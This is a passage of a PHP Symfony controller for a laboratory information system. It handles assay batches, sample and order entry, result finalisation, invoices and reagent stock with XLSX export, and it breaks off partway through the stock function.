  1485. * @Route("/fassayreg/{type}", name="fassayreg")
  1486. * @param string $type
  1487. * @param Request $request
  1488. * @return Response $response
  1489. */
  1490. public function fassayreg(string $type, Request $request)
  1491. {
  1492. // /* @var QueryBuilder $qb */
  1493. // $qb = $this->em->createQueryBuilder();
  1494. // $qb->select('a,b,c');
  1495. // $qb->from(RRun::class, 'a');
  1496. // $qb->leftJoin('a.assignedSample', 'b');
  1497. // $qb->leftJoin('b.assignedOrder', 'c');
  1498. // $qb->where("a.status IN ('Confirm?', 'Weigh Q', 'FA Q', 'CUP Q', 'DIS Q', 'Completed')");
  1499. // if(in_array('ROLE_ADMINISTRATORIUS',$this->getUser()->getRoles())){
  1500. // $qb->andWhere('c.WNJ = TRUE');
  1501. // }
  1502. // $rruns = ($qb->getQuery()->getResult());
  1503. $batches = $this->getDoctrine()->getRepository(DISQBatch::class)->findBy([],['id' => 'DESC'],60);
  1504. $fabatches = $this->getDoctrine()->getRepository(FABatch::class)->findByStatusWithPriority(100);
  1505. $data = $request->request->all();
  1506. if ( $request->isMethod("post") ) {
  1507. if (null !== $request->get('newbatch')) {
  1508. if ($data and isset($data['entry']) and isset($data['chkids'])) {
  1509. $info2 = $data['chkids'];
  1510. $newbatch = new DISQBatch();
  1511. $newbatch->setDate(new \DateTime());
  1512. $newbatch->setStatus('');
  1513. $this->em->persist($newbatch);
  1514. foreach ($info2 as $j) {
  1515. $icprundummy = $this->getDoctrine()->getRepository(RRun::class)->findOneBy([
  1516. 'id' => $j
  1517. ]);
  1518. if ($icprundummy->getStatus()=='DIS Q') {
  1519. $icprundummy->setAssignedDISQBatch($newbatch);
  1520. $this->em->persist($icprundummy);
  1521. }
  1522. }
  1523. $this->em->flush();
  1524. return $this->redirect($this->generateUrl('fassayreg'));
  1525. }
  1526. }
  1527. if (null !== $request->get('unassignbatch')) {
  1528. if ($data and isset($data['entry']) and isset($data['chkids'])) {
  1529. $info2 = $data['chkids'];
  1530. foreach ($info2 as $j) {
  1531. $icprundummy = $this->getDoctrine()->getRepository(RRun::class)->findOneBy([
  1532. 'id' => $j
  1533. ]);
  1534. $icprundummy->setAssignedDISQBatch(NULL);
  1535. $this->em->persist($icprundummy);
  1536. }
  1537. $this->em->flush();
  1538. return $this->redirect($this->generateUrl('fassayreg'));
  1539. }
  1540. }
  1541. return $this->redirect($this->generateUrl('fassayreg'));
  1542. }
  1543. return $this->render('cats/fassayreg.html.twig',[
  1544. // 'rruns' => $rruns,
  1545. 'batches' => $batches,
  1546. 'fabatches' => $fabatches
  1547. ]);
  1548. }
  1549. //=====================================================================================================================================================================================<
  1550. /**
  1551. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1552. * @Route("/icp", name="icp")
  1553. * @param Request $request
  1554. * @return Response $response
  1555. */
  1556. public function icp(Request $request)
  1557. {
  1558. $batches = $this->getDoctrine()->getRepository(ICPBatch::class)->findBy([],['id' => 'DESC'],60);
  1559. return $this->render('cats/icp.html.twig',[
  1560. 'batches' => $batches,
  1561. ]);
  1562. }
  1563. //=====================================================================================================================================================================================<
  1564. /**
  1565. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1566. * @Route("/icprecent", name="icprecent")
  1567. * @param Request $request
  1568. * @return Response $response
  1569. */
  1570. public function icprecent(Request $request)
  1571. {
  1572. return $this->render('cats/icprecent.html.twig',[
  1573. 'icpruns' => []
  1574. ]);
  1575. }
  1576. //=====================================================================================================================================================================================<
  1577. /**
  1578. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1579. * @Route("/icpall", name="icpall")
  1580. * @param Request $request
  1581. * @return Response $response
  1582. */
  1583. public function icpall(Request $request)
  1584. {
  1585. return $this->render('cats/icpall.html.twig',[
  1586. 'icpruns' => []
  1587. ]);
  1588. }
  1589. //=====================================================================================================================================================================================<
  1590. /**
  1591. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1592. * @Route("/fassayregarchive", name="fassayregarchive")
  1593. * @param Request $request
  1594. * @return Response $response
  1595. */
  1596. public function fassayregarchive(Request $request)
  1597. {
  1598. //$rruns = $this->getDoctrine()->getRepository(RRUN::class)->findBy([
  1599. // 'status' => ['Archived']
  1600. //]);
  1601. return $this->render('cats/fassayregarchive.html.twig',[
  1602. //'rruns' => $rruns
  1603. ]);
  1604. }
  1605. //=====================================================================================================================================================================================<
  1606. /**
  1607. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1608. * @Route("/fassayregrecent", name="fassayregrecent")
  1609. * @param Request $request
  1610. * @return Response $response
  1611. */
  1612. public function fassayregrecent(Request $request)
  1613. {
  1614. return $this->render('cats/fassayregrecent.html.twig',[]);
  1615. }
  1616. //=====================================================================================================================================================================================<
  1617. /**
  1618. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1619. * @Route("/fassaypreliminaryarchive", name="fassaypreliminaryarchive")
  1620. * @param Request $request
  1621. * @return Response $response
  1622. */
  1623. public function fassaypreliminaryarchive(Request $request)
  1624. {
  1625. // $prelims = $this->getDoctrine()->getRepository(PRun::class)->findBy([
  1626. // 'status' => ['Archived']
  1627. // ]);
  1628. return $this->render('cats/fassayprelimarchive.html.twig',[]);
  1629. }
  1630. //=====================================================================================================================================================================================<
  1631. /**
  1632. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1633. * @param Request $request
  1634. * @Route("cats/addCatSamples", name="addCatSamples")
  1635. * @return Response $response
  1636. */
  1637. public function addCatSamples(Request $request)
  1638. {
  1639. if ( $request->isMethod("post") ) {
  1640. $info = $request->get('entry');
  1641. //dump($info);
  1642. $samplenames = [];
  1643. $date = $request->get('date');
  1644. foreach($info as $j){
  1645. $entry = new Inventory();
  1646. $entry->setDateofreceipt(new \DateTime($date));
  1647. $entry->setSampleType($j['type']);
  1648. $entry->setSampleSubType($j['subtype']);
  1649. $entry->setSampleName($j['name']);
  1650. $entry->setAddedtocatalogue(false);
  1651. array_push($samplenames, $j['name']);
  1652. $entry->setPriority('Normal');
  1653. if ((float)str_replace(",",".",$j['mass']) > 0) {
  1654. $entry->setMass((float)str_replace(",",".",$j['mass']));
  1655. }
  1656. if ((float)str_replace(",",".",$j['metalweight']) > 0) {
  1657. $entry->setMetalweight((float)str_replace(",",".",$j['metalweight']));
  1658. }
  1659. $entry->setMillStatus("Original");
  1660. $entry->setAnalysisStatus("None");
  1661. $entry->setXrfStatus("To Add");
  1662. $entry->setCountry($j['country']);
  1663. $entry->setExportno($j['export']);
  1664. $entry->setReady(false);
  1665. $this->em->persist($entry);
  1666. }
  1667. $log = new Log();
  1668. $log->setDate(new \DateTime());
  1669. $log->setType('Added Samples');
  1670. $log->setText('New samples were added');
  1671. $log->setAssignedUser($this->getUser());
  1672. $log->setText2(implode(",", $samplenames));
  1673. $this->em->persist($log);
  1674. $this->em->flush();
  1675. return $this->redirect($this->generateUrl('inventory'));
  1676. }
  1677. return $this->render('cats/addsamples.html.twig');
  1678. }
  1679. //=====================================================================================================================================================================================<
  1680. /**
  1681. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1682. * @param Request $request
  1683. * @Route("cats/addCatOrders", name="addCatOrders")
  1684. * @return Response $response
  1685. */
  1686. public function addCatOrders(Request $request)
  1687. {
  1688. if ( $request->isMethod("post") ) {
  1689. $info = $request->get('entry');
  1690. //dump($info);
  1691. $date = $request->get('date');
  1692. //dump($date);
  1693. $entry = new Orders();
  1694. $entry->setDateofreceipt(new \DateTime($info['dateofreceipt']));
  1695. $entry->setOrderno(strtoupper($info['orderno']));
  1696. $entry->setSender($info['sender']);
  1697. $entry->setMReceive((float)$info['mreceive']);
  1698. $entry->setClient($info['client']);
  1699. $entry->setStatus('Open');
  1700. $entry->setWaybill($info['wb']);
  1701. $entry->setCourrier($info['courrier']);
  1702. $this->em->persist($entry);
  1703. $this->em->flush();
  1704. return $this->redirect($this->generateUrl('orders'));
  1705. }
  1706. return $this->render('cats/addorders.html.twig');
  1707. }
  1708. //=====================================================================================================================================================================================<
  1709. /**
  1710. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1711. * @param Request $request
  1712. * @Route("/incomingorders", name="incomingorders")
  1713. * @return Response $response
  1714. */
  1715. public function incomingorders(Request $request)
  1716. {
  1717. if ( $request->isMethod("post") ) {
  1718. $info = $request->get('entry');
  1719. //dump($info);
  1720. $date = $request->get('date');
  1721. //dump($date);
  1722. $entry = new Orders();
  1723. $entry->setDateofreceipt(new \DateTime($date));
  1724. $entry->setOrderno(strtoupper($info['orderno']));
  1725. $entry->setSender($info['sender']);
  1726. $entry->setClient($info['client']);
  1727. $entry->setStatus('Open');
  1728. $entry->setWaybill($info['wb']);
  1729. $entry->setCourrier($info['courrier']);
  1730. $this->em->persist($entry);
  1731. $this->em->flush();
  1732. return $this->redirect($this->generateUrl('orders'));
  1733. }
  1734. $orders = $this->em->getRepository(ClientParcel::class)->findAll();
  1735. return $this->render('cats/incomingorders.html.twig',[
  1736. 'orders' => $orders
  1737. ]);
  1738. }
  1739. //=====================================================================================================================================================================================<
  1740. /**
  1741. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1742. * @param Request $request
  1743. * @Route("/orders", name="orders")
  1744. * @return Response $response
  1745. */
  1746. public function orders(Request $request)
  1747. {
  1748. /* @var QueryBuilder $qb */
  1749. $qb = $this->em->createQueryBuilder();
  1750. $qb->select('a');
  1751. $qb->from(Orders::class, 'a');
  1752. if(in_array('ROLE_ADMINISTRATORIUS',$this->getUser()->getRoles())){
  1753. $qb->where('a.WNJ = TRUE');
  1754. }
  1755. $orders = ($qb->getQuery()->getResult());
  1756. if ( $request->isMethod("post") ) {
  1757. if (null !== $request->get('edit')){
  1758. $info = $request->get('ids');
  1759. //dump($request);
  1760. //dump($info);
  1761. $editorders = $this->getDoctrine()->getRepository(Orders::class)->findby([
  1762. 'id' => $info
  1763. ]);
  1764. return $this->render('cats/editorders.html.twig', [
  1765. 'orders' => $editorders
  1766. ]);
  1767. }
  1768. if (null !== $request->get('editconfirm')){
  1769. $info = $request->get('entry');
  1770. foreach($info as $j) {
  1771. $date = $request->get('date');
  1772. $entry = $this->getDoctrine()->getRepository(Orders::class)->find($j['id']);
  1773. /** @var Orders $entry */
  1774. $entry->setDateofreceipt(new \DateTime($j['dateofreceipt']));
  1775. $entry->setOrderno($j['orderno']);
  1776. $entry->setMReceive((float)$j['mreceive']);
  1777. $entry->setSender($j['sender']);
  1778. $entry->setClient($j['client']);
  1779. $entry->setWaybill($j['wb']);
  1780. if ($j['mdisposed'] > 0){
  1781. $entry->setMDisposed((float)$j['mdisposed']);
  1782. $entry->setDisposeDate(new \DateTime($j['disposedate']));
  1783. }
  1784. $entry->setCourrier($j['courrier']);
  1785. $this->em->persist($entry);
  1786. }
  1787. $this->em->flush();
  1788. return $this->redirect($this->generateUrl('orders'));
  1789. }
  1790. }
  1791. return $this->render('cats/orders.html.twig',[
  1792. 'orders' => $orders
  1793. ]);
  1794. }
  1795. //=====================================================================================================================================================================================<
  1796. /**
  1797. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1798. * @param Request $request
  1799. * @Route("/tasks", name="tasks")
  1800. * @return Response $response
  1801. */
  1802. public function tasks(Request $request)
  1803. {
  1804. /** @var Inventory $inv */
  1805. $inv = $this->getDoctrine()->getRepository(Inventory::class)->findAll();
  1806. /** @var Orders $orders */
  1807. $orders = $this->getDoctrine()->getRepository(Orders::class)->findAll();
  1808. /** @var Inventory $priority */
  1809. $priority = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  1810. 'priority' => "High",
  1811. 'analysisStatus' => ["In Progress","To Start"]
  1812. ]);
  1813. /** @var Inventory $milllist */
  1814. $milllist = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  1815. 'millStatus' => "To Mill"
  1816. ]);
  1817. /** @var Inventory $milllist */
  1818. $openlist = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  1819. 'analysisStatus' => ["In Progress","To Start"]
  1820. ]);
  1821. /** @var PRun $prunweighq */
  1822. $prunweighq = $this->getDoctrine()->getRepository(PRun::class)->findBy([
  1823. 'status' => "Weigh Q"
  1824. ]);
  1825. /** @var RRun $rrunweighq */
  1826. $rrunweighq = $this->getDoctrine()->getRepository(RRun::class)->findBy([
  1827. 'status' => "Weigh Q"
  1828. ]);
  1829. /** @var PRun $prunfaq */
  1830. $prunfaq = $this->getDoctrine()->getRepository(PRun::class)->findBy([
  1831. 'status' => "FA Q"
  1832. ]);
  1833. /** @var RRun $rrunfaq */
  1834. $rrunfaq = $this->getDoctrine()->getRepository(RRun::class)->findBy([
  1835. 'status' => "FA Q"
  1836. ]);
  1837. /** @var RRun $rruncupq */
  1838. $rruncupq = $this->getDoctrine()->getRepository(RRun::class)->findBy([
  1839. 'status' => "CUP Q"
  1840. ]);
  1841. /** @var RRun $rrundisq */
  1842. $rrundisq = $this->getDoctrine()->getRepository(RRun::class)->findBy([
  1843. 'status' => "DIS Q"
  1844. ]);
  1845. /** @var Inventory $xrfq */
  1846. $xrfq = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  1847. 'xrfStatus' => "To Add"
  1848. ]);
  1849. return $this->render('cats/tasks.html.twig',[
  1850. 'orders' => $orders,
  1851. 'inventory' => $inv,
  1852. 'priority' => $priority,
  1853. 'milllist' => $milllist,
  1854. 'openlist' => $openlist,
  1855. 'prunweighq' => $prunweighq,
  1856. 'rrunweighq' => $rrunweighq,
  1857. 'rrunfaq' => $rrunfaq,
  1858. 'prunfaq' => $prunfaq,
  1859. 'rruncupq' => $rruncupq,
  1860. 'rrundisq' => $rrundisq,
  1861. 'xrfq' => $xrfq
  1862. ]);
  1863. }
  1864. //=====================================================================================================================================================================================<
  1865. /**
  1866. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1867. * @param Request $request
  1868. * @Route("/log", name="log")
  1869. * @return Response $response
  1870. */
  1871. public function log(Request $request)
  1872. {
  1873. /** @var Log $inv */
  1874. //$log = $this->getDoctrine()->getRepository(Log::class)->findAll();
  1875. return $this->render('cats/log.html.twig',[
  1876. //'log' => $log
  1877. ]);
  1878. }
  1879. //=====================================================================================================================================================================================<
  1880. /**
  1881. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1882. * @param Request $request
  1883. * @Route("/cp", name="cp")
  1884. * @return Response $response
  1885. */
  1886. public function cp(Request $request)
  1887. {
  1888. /** @var Inventory $samples */
  1889. $samples = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  1890. 'analysisStatus' => ['In Progress', 'Flagged']
  1891. ],[
  1892. 'id' => 'ASC'
  1893. ]);
  1894. //$qb = $this->em->createQuery("SELECT a FROM App\Entity\Inventory a LEFT OUTER JOIN a.rruns b LEFT OUTER JOIN b.icpruns c WHERE (a.analysisStatus = 'In Progress' and c.icppt IS NOT NULL) GROUP BY a.id ORDER By a.id DESC");
  1895. if(in_array('ROLE_ADMINISTRATORIUS',$this->getUser()->getRoles())){
  1896. /* @var QueryBuilder $qb */
  1897. $qb = $this->em->createQueryBuilder();
  1898. $qb->select('a');
  1899. $qb->from(Inventory::class, 'a');
  1900. $qb->leftJoin('a.assignedOrder', 'b');
  1901. $qb->leftJoin('a.rruns', 'c');
  1902. $qb->leftJoin('c.icpruns', 'd');
  1903. $qb->where("a.analysisStatus IN ('In Progress', 'Flagged')");
  1904. $qb->andWhere('d.icppt IS NOT NULL');
  1905. $qb->andWhere('b.WNJ = TRUE');
  1906. //$qb->andWhere('d.icppt IS NOT NULL');
  1907. $samples = ($qb->getQuery()->getResult());
  1908. } else {
  1909. /* @var QueryBuilder $qb */
  1910. $qb = $this->em->createQueryBuilder();
  1911. $qb->select('a');
  1912. $qb->from(Inventory::class, 'a');
  1913. $qb->leftJoin('a.assignedOrder', 'b');
  1914. $qb->leftJoin('a.rruns', 'c');
  1915. $qb->leftJoin('c.icpruns', 'd');
  1916. $qb->where("a.analysisStatus IN ('In Progress', 'Flagged')");
  1917. $qb->andWhere('d.icppt IS NOT NULL');
  1918. //$qb->andWhere('d.icppt IS NOT NULL');
  1919. $samples = ($qb->getQuery()->getResult());
  1920. }
  1921. if ( $request->isMethod("post") ) {
  1922. $data = $request->request->all();
  1923. if (null !== $request->get('finalize')){
  1924. if (array_key_exists('chkids',$data)) {
  1925. foreach ($data['chkids'] as $j) {
  1926. /** @var Inventory $sample */
  1927. $sample = $this->getDoctrine()->getRepository(Inventory::class)->findOneBy([
  1928. 'id' => $j
  1929. ]);
  1930. foreach ($sample->getRruns() as $k) {
  1931. /** @var RRun $k */
  1932. $k->setStatus('Archived');
  1933. $this->em->persist($k);
  1934. foreach ($k->getIcpruns() as $l) {
  1935. /** @var RRun $l */
  1936. $l->setStatus('Archived');
  1937. $this->em->persist($l);
  1938. }
  1939. }
  1940. $sample->setDateFinished(new \DateTime());
  1941. $sample->setAnalysisStatus('Completed');
  1942. $sample->setIcppt($data['entry'][$j]['avgpt']);
  1943. $sample->setIcppd($data['entry'][$j]['avgpd']);
  1944. $sample->setIcprh($data['entry'][$j]['avgrh']);
  1945. $this->em->persist($sample);
  1946. $this->em->flush();
  1947. }
  1948. }
  1949. return $this->redirect($this->generateUrl('cp'));
  1950. }
  1951. if (null !== $request->get('finalizemaxrh')){
  1952. if (array_key_exists('chkids',$data)) {
  1953. foreach ($data['chkids'] as $j) {
  1954. /** @var Inventory $sample */
  1955. $sample = $this->getDoctrine()->getRepository(Inventory::class)->findOneBy([
  1956. 'id' => $j
  1957. ]);
  1958. foreach ($sample->getRruns() as $k) {
  1959. /** @var RRun $k */
  1960. $k->setStatus('Archived');
  1961. $this->em->persist($k);
  1962. foreach ($k->getIcpruns() as $l) {
  1963. /** @var RRun $l */
  1964. $l->setStatus('Archived');
  1965. $this->em->persist($l);
  1966. }
  1967. }
  1968. foreach ($sample->getMoists() as $i){
  1969. /** @var Moists $i*/
  1970. $i->setStatus('Archived');
  1971. $this->em->persist($i);
  1972. }
  1973. $sample->setDateFinished(new \DateTime());
  1974. $sample->setAnalysisStatus('Completed');
  1975. $sample->setIcppt($data['entry'][$j]['avgpt']);
  1976. $sample->setIcppd($data['entry'][$j]['avgpd']);
  1977. $sample->setIcprh($data['entry'][$j]['maxrh']);
  1978. $this->em->persist($sample);
  1979. $this->em->flush();
  1980. }
  1981. }
  1982. return $this->redirect($this->generateUrl('cp'));
  1983. }
  1984. if (null !== $request->get('finalizemaxrhcustom')){
  1985. if (array_key_exists('chkids',$data)) {
  1986. foreach ($data['chkids'] as $j) {
  1987. /** @var Inventory $sample */
  1988. $sample = $this->getDoctrine()->getRepository(Inventory::class)->findOneBy([
  1989. 'id' => $j
  1990. ]);
  1991. foreach ($sample->getRruns() as $k) {
  1992. /** @var RRun $k */
  1993. $k->setStatus('Archived');
  1994. $this->em->persist($k);
  1995. foreach ($k->getIcpruns() as $l) {
  1996. /** @var RRun $l */
  1997. $l->setStatus('Archived');
  1998. $this->em->persist($l);
  1999. }
  2000. }
  2001. foreach ($sample->getMoists() as $i){
  2002. /** @var Moists $i*/
  2003. $i->setStatus('Archived');
  2004. $this->em->persist($i);
  2005. }
  2006. $sample->setDateFinished(new \DateTime());
  2007. $sample->setAnalysisStatus('Completed');
  2008. $sample->setIcppt($data['entry'][$j]['avgpt']);
  2009. $sample->setIcppd($data['entry'][$j]['avgpd']);
  2010. $sample->setIcprh($data['entry'][$j]['maxrh']*0.996);
  2011. $this->em->persist($sample);
  2012. $this->em->flush();
  2013. }
  2014. }
  2015. return $this->redirect($this->generateUrl('cp'));
  2016. }
  2017. if (null !== $request->get('flag')){
  2018. $info = $request->get('entry');
  2019. foreach($data['chkids'] as $j){
  2020. $sample = $this->getDoctrine()->getRepository(Inventory::class)->findOneBy([
  2021. 'id' => $j
  2022. ]);
  2023. $sample->setAnalysisStatus('Flagged');
  2024. $this->em->persist($sample);
  2025. $this->em->flush();
  2026. }
  2027. return $this->redirect($this->generateUrl('cp'));
  2028. }
  2029. }
  2030. return $this->render('cats/cp.html.twig',[
  2031. 'inventory' => $samples,
  2032. ]);
  2033. }
  2034. //=====================================================================================================================================================================================<
  2035. /**
  2036. * @Security("is_granted('ROLE_INVOICES') or is_granted('ROLE_ADMINISTRATORIUS')")
  2037. * @param Request $request
  2038. * @Route("/invoices", name="invoices")
  2039. * @return Response $response
  2040. */
  2041. public function invoices(Request $request)
  2042. {
  2043. $qb = $this->em->createQueryBuilder();
  2044. $qb->setCacheable(false);
  2045. $qb->select('i');
  2046. $qb->from(Invoice::class,'i');
  2047. $qb->leftJoin('i.orders', 'o');
  2048. $qb->leftJoin('o.samples', 's');
  2049. $qb->where("i.status = 'Open'");
  2050. $invoices = $qb->getQuery()->getResult();
  2051. $qb = $this->em->createQueryBuilder();
  2052. $qb->setCacheable(false);
  2053. $qb->select('i');
  2054. $qb->from(Invoice::class, 'i');
  2055. $qb->leftJoin('i.orders', 'o');
  2056. $qb->leftJoin('o.samples', 's');
  2057. $qb->where("i.status = 'Closed'");
  2058. $allClosedInvoices = $qb->getQuery()->getResult();
  2059. // Create a DateTime object for one year ago
  2060. $oneYearAgo = new \DateTime();
  2061. $oneYearAgo->modify('-1 year');
  2062. // Filter closed invoices in PHP to keep only those with orders not older than 1 year
  2063. $closedinvoices = array_filter($allClosedInvoices, function($invoice) use ($oneYearAgo) {
  2064. /** @var Invoice $invoice */
  2065. $orders = $invoice->getOrders();
  2066. // If there are no orders, keep the invoice by default
  2067. if (count($orders) === 0) {
  2068. return true;
  2069. }
  2070. // Check if at least one order is newer than one year ago
  2071. foreach ($orders as $order) {
  2072. if ($order->getDateOfReceipt() >= $oneYearAgo) {
  2073. return true;
  2074. }
  2075. }
  2076. return false;
  2077. });
  2078. if ($request->isMethod("post")) {
  2079. $data = $request->request->all();
  2080. if (null !== $request->get('newinvoice')){
  2081. $invoice = new Invoice();
  2082. $invoice->setInvoiceno($data['entry']['invoiceno']);
  2083. $invoice->setAmount((float)$data['entry']['amount']);
  2084. $invoice->setCurrency($data['entry']['currency']);
  2085. $invoice->setRecipient($data['entry']['recipient']);
  2086. $invoice->setStatus('Open');
  2087. $this->em->persist($invoice);
  2088. $this->em->flush();
  2089. return $this->redirect($this->generateUrl('invoices'));
  2090. }
  2091. if (null !== $request->get('editamount')){
  2092. $invoiceid = $data['invoiceid'];
  2093. $invoice = $this->getDoctrine()->getRepository(Invoice::class)->findOneBy([
  2094. 'id' => $invoiceid
  2095. ]);
  2096. $invoice->setInvoiceno($data['invoiceno']);
  2097. $invoice->setAmount((float)$data['amount']);
  2098. $invoice->setCurrency($data['currency']);
  2099. $invoice->setRecipient($data['recipient']);
  2100. $this->em->persist($invoice);
  2101. $this->em->flush();
  2102. return $this->redirect($this->generateUrl('invoices'));
  2103. }
  2104. if (null !== $request->get('unassignorder')){
  2105. $temporder = $this->getDoctrine()->getRepository(Orders::class)->findOneBy([
  2106. 'id' => $data['orderid']
  2107. ]);
  2108. $temporder->setAssignedInvoice(Null);
  2109. $this->em->persist($temporder);
  2110. $this->em->flush();
  2111. return new Response("success");
  2112. }
  2113. if (null !== $request->get('deleteinvoice')){
  2114. $invoiceid = $data['invoiceid'];
  2115. $invoice = $this->getDoctrine()->getRepository(Invoice::class)->findOneBy([
  2116. 'id' => $invoiceid
  2117. ]);
  2118. $ordersdel = $this->getDoctrine()->getRepository(Orders::class)->findBy([
  2119. 'assignedInvoice' => $invoice
  2120. ]);
  2121. foreach ($ordersdel as $j){
  2122. $j->setAssignedInvoice(NULL);
  2123. $this->em->persist($j);
  2124. $this->em->flush();
  2125. }
  2126. $invoice = $this->getDoctrine()->getRepository(Invoice::class)->findOneBy([
  2127. 'id' => $invoiceid
  2128. ]);
  2129. $this->em->remove($invoice);
  2130. $this->em->flush();
  2131. return $this->redirect($this->generateUrl('invoices'));
  2132. }
  2133. }
  2134. if (null !== $request->get('closeinvoice')){
  2135. $invoiceid = $data['invoiceid'];
  2136. $invoice = $this->getDoctrine()->getRepository(Invoice::class)->findOneBy([
  2137. 'id' => $invoiceid
  2138. ]);
  2139. $invoice->setStatus('Closed');
  2140. $this->em->persist($invoice);
  2141. $this->em->flush();
  2142. return $this->redirect($this->generateUrl('invoices'));
  2143. }
  2144. return $this->render('cats/invoices.html.twig', [
  2145. 'invoices' => $invoices,
  2146. 'closedinvoices' => array_reverse($closedinvoices)
  2147. ]);
  2148. }
  2149. //=====================================================================================================================================================================================<
  2150. /**
  2151. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2152. * @param Request $request
  2153. * @Route("/stock/download", name="stock_download")
  2154. * @return Response $response
  2155. */
  2156. public function downloadXlsx(Request $request)
  2157. {
  2158. $type = $request->query->get('type'); // Get type
  2159. $stockIds = $request->query->get('stockIds', []); // Get selected sample IDs
  2160. $fromDate = $request->query->get('fromDate'); // Get from-date filter
  2161. $toDate = $request->query->get('toDate'); // Get to-date filter
  2162. // Decode JSON string into array if necessary
  2163. if (is_string($stockIds)) {
  2164. $stockIds = json_decode($stockIds, true);
  2165. }
  2166. $currentDate = (new \DateTime())->format('ymdHis');
  2167. $filename = sprintf('%s_stock_%s.xlsx', $currentDate, strtolower($type)); // Generate filename
  2168. // Create a new Spreadsheet
  2169. $spreadsheet = new Spreadsheet();
  2170. $sheet = $spreadsheet->getActiveSheet();
  2171. // Add headers
  2172. $headers = ['ID', 'Stock ID', 'Stock Name', 'Supplier', 'CAS', 'Stock Type', 'Action Type', 'Quantity', 'Remaining Quantity', 'Date'];
  2173. $sheet->fromArray($headers, null, 'A1', true);
  2174. // Fetch data from StockManagement repository
  2175. $stockManagements = $this->getDoctrine()->getRepository(StockManagement::class)->findAllForXls($type, $stockIds, $fromDate, $toDate);
  2176. // Populate data rows
  2177. $row = 2; // Start after headers
  2178. foreach ($stockManagements as $entry) {
  2179. $sheet->fromArray([
  2180. $entry->getId(),
  2181. $entry->getStockId(),
  2182. $entry->getStockName(),
  2183. $entry->getSupplier(),
  2184. $entry->getComment(),
  2185. $entry->getStockType(),
  2186. $entry->getActionType(),
  2187. $entry->getQuantity(),
  2188. $entry->getTotalQuantity(),
  2189. $entry->getDate()->format('Y-m-d H:i:s'),
  2190. ], null, 'A' . $row, true);
  2191. $row++;
  2192. }
  2193. // Generate the Excel file
  2194. $writer = new Xlsx($spreadsheet);
  2195. // Prepare the response
  2196. $response = new StreamedResponse(function () use ($writer) {
  2197. $writer->save('php://output');
  2198. });
  2199. // Set headers for Excel download
  2200. $response->setStatusCode(200);
  2201. $response->headers->set('Content-Type', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
  2202. $response->headers->set('Content-Disposition', 'attachment; filename="' . $filename . '"');
  2203. return $response;
  2204. }
  2205. //=====================================================================================================================================================================================<
  2206. /**
  2207. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2208. * @param Request $request
  2209. * @Route("/stock", name="stock")
  2210. * @return Response $response
  2211. */
  2212. public function stock(Request $request)
  2213. {
  2214. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  2215. 'type' => 'Reagent'
  2216. ]);
  2217. if ( $request->getMethod() == "POST" ) {
  2218. $data = $request->request->all();
  2219. if (null !== $request->get('addnew')){
  2220. if ($data) {
  2221. $info = $data['entry'];
  2222. $entry = new Stock();
  2223. $entry->setStockname($info['name'])
  2224. ->setQty((float)$info['qty'])
  2225. ->setLow((float)$info['low'])
  2226. ->setCritical((float)$info['critical'])
  2227. ->setComment($info['comment'])
  2228. ->setSupplier($info['supplier'])
  2229. ->setDatemodified(new \DateTime($info['datemodified']))
  2230. ->setUnits($info['units'])
  2231. ->setType("Reagent");
  2232. $this->em->persist($entry);
  2233. $this->em->flush();
  2234. // Create a new StockManagement entry when adding new entry
  2235. $mgmt = new StockManagement();
  2236. $mgmt->setStockId($entry->getId());
  2237. $mgmt->setStockName($entry->getStockname());
  2238. $mgmt->setSupplier($entry->getSupplier());
  2239. $mgmt->setComment($entry->getComment());
  2240. $mgmt->setStockType($entry->getType());
  2241. $mgmt->setActionType('Add new');
  2242. $mgmt->setQuantity($entry->getQty());
  2243. $mgmt->setTotalQuantity($entry->getQty());
  2244. $mgmt->setDate(new \Datetime());
  2245. $this->em->persist($mgmt);
  2246. $this->em->flush();
  2247. return $this->redirect($this->generateUrl('stock'));
  2248. }
  2249. }
  2250. if (null !== $request->get('delete')){
  2251. if ($data) {
  2252. $info = $data['entryid'];
  2253. /*echo '<pre>';
  2254. exit(\Doctrine\Common\Util\Debug:://dump($data));
  2255. die();*/
  2256. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2257. 'id' => $info
  2258. ]);
  2259. // Create a new StockManagement entry when deleting
  2260. $mgmt = new StockManagement();
  2261. $mgmt->setStockId($entry->getId());
  2262. $mgmt->setStockName($entry->getStockname());
  2263. $mgmt->setSupplier($entry->getSupplier());
  2264. $mgmt->setComment($entry->getComment());
  2265. $mgmt->setStockType($entry->getType());
  2266. $mgmt->setActionType('Delete');
  2267. $mgmt->setQuantity(0);
  2268. $mgmt->setTotalQuantity($entry->getQty());
  2269. $mgmt->setDate(new \Datetime());
  2270. $this->em->remove($entry);
  2271. $this->em->persist($mgmt);
  2272. $this->em->flush();
  2273. return $this->redirect($this->generateUrl('stock'));
  2274. }
